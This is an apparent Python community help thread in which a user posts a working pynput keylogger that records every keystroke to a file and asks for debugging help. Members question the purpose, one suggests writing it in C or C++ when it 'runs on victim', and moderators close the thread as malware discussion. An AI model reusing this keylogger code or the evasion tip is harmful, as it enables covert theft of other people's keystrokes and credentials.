#๐Ÿ”’ My Keylogger is not working well

72 messages ยท Page 1 of 1 (latest)

hidden gyro
#

Here:

import pynput
import logging

logging.basicConfig(filename="keylog.txt", level=logging.DEBUG, format="%(asctime)s: %(message)s")

def on_press(key):
    try:
        logging.info(f"{key.char}")
    except AttributeError:
        logging.info(f"{key}")

with pynput.keyboard.Listener(on_press=on_press) as listener:
    listener.join()```
hardy coveBOT
#

@hidden gyro

Python help channel opened

Remember to:

  • Ask your Python question, not if you can ask or if there's an expert who can help.
  • Show a code sample as text (rather than a screenshot) and the error message, if you've got one.
  • Explain what you expect to happen and what actually happens.

:warning: Do not pip install anything that isn't related to your question, especially if asked to over DMs.

neon pilot
#

any tracebacks?

#

what is not working well?

hidden gyro
#

AttributeError: Key object has no attribute char

limber tree
#

What are you making keylogger for๐Ÿ’€

hidden gyro
#

Non of your business

rough light
#

!rule 5

hardy coveBOT
#

5. Do not provide or request help on projects that may violate terms of service, or that may be deemed inappropriate, malicious, or illegal.

hidden gyro
#

Itโ€™s EDUCATIONAL PURPOSES

neon pilot
hidden gyro
#

100%

autumn locust
hidden gyro
neon pilot
#

i made a keylogger just for the case of getting the key's systematical name

neon pilot
#

i still have it, its useful for tkinter
mainly tkinter.Tk().bind

hidden gyro
#

To understand the structure

#

So I avoid any keylogger in python.

#

there

limber tree
autumn locust
limber tree
#

So learning a one way to make it doesn't help anything because python abstract many thing

hidden gyro
#

Ok still

#

I want help

limber tree
limber tree
#

It's fine

#

And not like we are stopping him to read the doc or so

stone kelp
#

Any antivirus can dedect without any issue

#

literally any

limber tree
#

When did we get into av bypass๐Ÿ’€

stone kelp
#

And log files is for logging

supple lagoon
#

It does not matter if it is found by antivirus because it is supposedly only being used for personal purposes

stone kelp
#

Use python if you attack on your machine

Use c or c++ when program runs on victim.

#

Simple golden rule

pale sail
#

not sure you want to be helping someone make a keylogger

supple lagoon
#

Eso I recommended you read the rules of the server

stone kelp
#

Are u ai?

limber tree
#

Not sure why you would say "runs on victim"

stone kelp
#

Yea sure

#

Keep going guys. And do not forget without interpreter your python code is just a shitty text

limber tree
#

You realize it's a python server right?๐Ÿ’€

atomic zinc
#

i dont see the point of this help thread

limber tree
pale sail
atomic zinc
pale sail
limber tree
scenic kiln
#

<@&831776746206265384> This thread has derailed past its purpose and was not on topic to begin with.

pale sail
#

also he'd probably have to set up a server or hack his device

atomic zinc
pale sail
scenic kiln
#

A reminder that the discussion of malware creation, adversarial tooling, and telling people they're "trash" is against our community rules.

pale sail
#

what does this mean

stone kelp
#

Code became someone

stone kelp
pale sail
#

okay

crude perch
#

yeah this isn't something we're gonna help with

crude perch
#

i'll be closing this now

#

!close

hardy coveBOT
#
Python help channel closed

This help channel has been closed and it's no longer possible to send messages here. If your question wasn't answered, feel free to create a new post in #1035199133436354600. To maximize your chances of getting a response, check out this guide on asking good questions.